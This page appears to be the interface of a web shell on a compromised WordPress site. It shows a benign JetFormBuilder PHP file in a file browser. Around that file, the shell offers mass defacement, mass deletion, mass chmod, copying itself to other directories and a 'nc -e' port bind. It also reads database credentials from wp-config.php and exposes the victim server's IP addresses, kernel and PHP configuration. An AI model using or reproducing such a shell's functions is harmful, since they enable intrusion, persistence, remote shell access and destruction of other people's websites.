WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jetformbuilder / includes / blocks / types / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jetformbuilder/includes/blocks/types/form.php (5 KB)
<?php

namespace Jet_Form_Builder\Blocks\Types;

use Jet_Form_Builder\Blocks\Block_Helper;
use Jet_Form_Builder\Blocks\Conditional_Block\Render_State;
use Jet_Form_Builder\Blocks\Render\Form_Builder;
use Jet_Form_Builder\Classes\Arguments\Form_Arguments;
use Jet_Form_Builder\Classes\Builder_Helper;
use Jet_Form_Builder\Classes\Post\Not_Found_Post_Exception;
use Jet_Form_Builder\Classes\Post\Post_Tools;
use Jet_Form_Builder\Classes\Tools;
use JFB_Modules\Post_Type\Module as Post_Type_Module;

// If this file is called directly, abort.
if ( ! defined( 'WPINC' ) ) {
	die;
}

/**
 * Define Text field block class
 */
class Form extends Base {

	use Form_Break_Field_Style;

	public $use_style_manager = false;

	public function __construct() {
		add_action( 'wp_enqueue_scripts', array( $this, 'handle_header_assets' ) );
	}

	/**
	 * Render callback for the block
	 *
	 * @param array $attrs [description]
	 *
	 * @param null $content
	 * @param null $wp_block
	 *
	 * @return false|string [type]             [description]
	 */
	public function render_callback_field( array $attrs, $content = null, $wp_block = null ) {
		return sprintf(
			'<div class="jet-fb-form-block" data-is-block="jet-forms/%2$s">%1$s</div>',
			$this->render_form( $attrs, $content, $wp_block ),
			$this->get_name()
		);
	}

	public function get_placeholder(): string {
		return __( 'Please select form to show', 'jet-form-builder' );
	}

	public function get_name() {
		return 'form-block';
	}


	/**
	 * Returns current block render instatnce
	 *
	 * @param array $attributes
	 *
	 * @return false
	 */
	public function get_block_renderer( $attributes = null ) {
		return false;
	}

	public function block_data( $editor, $handle ) {
		$options = Form_Arguments::get_options();

		wp_localize_script(
			$handle,
			'JetFormData',
			array_merge(
				array(
					'forms_list' => Tools::with_placeholder(
						Tools::get_forms_list_for_js(),
						$this->get_placeholder()
					),
				),
				$options
			)
		);
	}

	/**
	 * Render callback for the block
	 *
	 * @param array $attrs [description]
	 *
	 * @param null $content
	 * @param null $wp_block
	 *
	 * @return false|string [type]             [description]
	 */
	public function render_form( array $attrs, $content = null, $wp_block = null ) {
		if ( ( (int) $attrs['form_id'] <= 0 || 'manual_form_id' === $attrs['form_id'] ) && ! empty( $attrs['form_id_custom'] ) ) {
			$form_id_custom = $attrs['form_id_custom'];

			$contains_shortcode = Tools::contains_registered_shortcode( $form_id_custom );

			if ( true === $contains_shortcode ) {
				$shortcode_result = do_shortcode( $form_id_custom );
				$attrs['form_id'] = $shortcode_result;
			} else {
				$attrs['form_id'] = $attrs['form_id_custom'];
			}
		}

		$form_id = absint( $attrs['form_id'] ?? 0 );

		if ( ! $form_id ) {
			return $this->get_placeholder();
		}

		try {
			$form = Post_Tools::get_post( $form_id );
		} catch ( Not_Found_Post_Exception $exception ) {
			return $this->get_placeholder();
		}

		$is_preview_revision = (
			'revision' === $form->post_type &&
			Block_Helper::is_valid_preview_form_post( $form )
		);

		if ( Post_Type_Module::SLUG !== $form->post_type && ! $is_preview_revision ) {
			return $this->get_placeholder();
		}

		\Jet_Admin_Bar::get_instance()->register_item(
			$form_id,
			array(
				'title'     => get_the_title( $form ),
				'sub_title' => __( 'JetForm', 'jet-form-builder' ),
				'href'      => get_edit_post_link( $form ),
			)
		);

		jet_form_builder()->msg_router->set_up(
			array(
				'form_id' => $form_id,
			)
		);

		// phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		$custom_form = apply_filters( 'jet-form-builder/prevent-render-form', false, $attrs );

		if ( $custom_form ) {
			return $custom_form;
		}

		$form = ( new Form_Builder( $form_id, $attrs ) )->render_form();

		ob_start();
		jet_form_builder()->msg_router->get_builder()->render_messages();

		if ( Tools::is_editor() ) {
			jet_form_builder()->msg_router->get_builder()->render_messages_samples();
		}

		Render_State::instance()->clear_current();

		return ( $form . ob_get_clean() );
	}

	/**
	 * @since 3.0.4 Enqueue specific styles
	 * @since 3.0.3 Introduced
	 */
	public function handle_header_assets() {
		if ( ! is_singular() ) {
			return;
		}

		$post = get_post();

		$has_shortcode = has_shortcode( $post->post_content, 'jet_fb_form' );
		$has_block     = function_exists( 'has_block' ) && has_block( 'jet-forms/form-block' );

		if ( $has_block || $has_shortcode ) {
			jet_form_builder()->blocks->enqueue_frontend_styles();
			Builder_Helper::enqueue_global_styles();
		}

		$form_ids = array();

		if ( $has_block ) {
			$form_ids = jet_form_builder()->regexp->get_form_ids_from_block( $post->post_content );
		}
		if ( $has_shortcode ) {
			$form_ids = array_merge(
				$form_ids,
				jet_form_builder()->regexp->get_form_ids_from_shortcode( $post->post_content )
			);
		}

		foreach ( $form_ids as $form_id ) {
			jet_fb_live()->set_form_id( $form_id );
			Builder_Helper::enqueue_style_form( $form_id );
		}
		jet_fb_live()->set_form_id( false );
	}


}
namawaktuukuranownerpermaksi
..
action-button.php 2026-07-21 14:147.87 KB 76129f60960:kunden-xw-x-----
edt
base.php 2026-07-21 14:1417.83 KB 76129f60960:kunden-xw-x-----
edt
calculated-field.php 2026-07-21 14:144.85 KB 76129f60960:kunden-xw-x-----
edt
color-picker-field.php 2026-07-21 14:141.78 KB 76129f60960:kunden-xw-x-----
edt
conditional-block.php 2026-07-21 14:146.33 KB 76129f60960:kunden-xw-x-----
edt
date-field.php 2026-07-21 14:14717 B 76129f60960:kunden-xw-x-----
edt
datetime-field.php 2026-07-21 14:14697 B 76129f60960:kunden-xw-x-----
edt
form-break-field-style.php 2026-07-21 14:14256 B 76129f60960:kunden-xw-x-----
edt
form-break-field.php 2026-07-21 14:142.63 KB 76129f60960:kunden-xw-x-----
edt
form-break-start.php 2026-07-21 14:14989 B 76129f60960:kunden-xw-x-----
edt
form.php 2026-07-21 14:145 KB 76129f60960:kunden-xw-x-----
edt
group-break-field.php 2026-07-21 14:143.6 KB 76129f60960:kunden-xw-x-----
edt
heading-field.php 2026-07-21 14:14889 B 76129f60960:kunden-xw-x-----
edt
hidden-field.php 2026-07-21 14:1411.5 KB 76129f60960:kunden-xw-x-----
edt
media-field.php 2026-07-21 14:146.11 KB 76129f60960:kunden-xw-x-----
edt
number-field.php 2026-07-21 14:144.24 KB 76129f60960:kunden-xw-x-----
edt
progress-bar.php 2026-07-21 14:142.04 KB 76129f60960:kunden-xw-x-----
edt
range-field.php 2026-07-21 14:146.45 KB 76129f60960:kunden-xw-x-----
edt
textarea-field.php 2026-07-21 14:143.28 KB 76129f60960:kunden-xw-x-----
edt
time-field.php 2026-07-21 14:14680 B 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jetformbuilder/includes/blocks/types
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK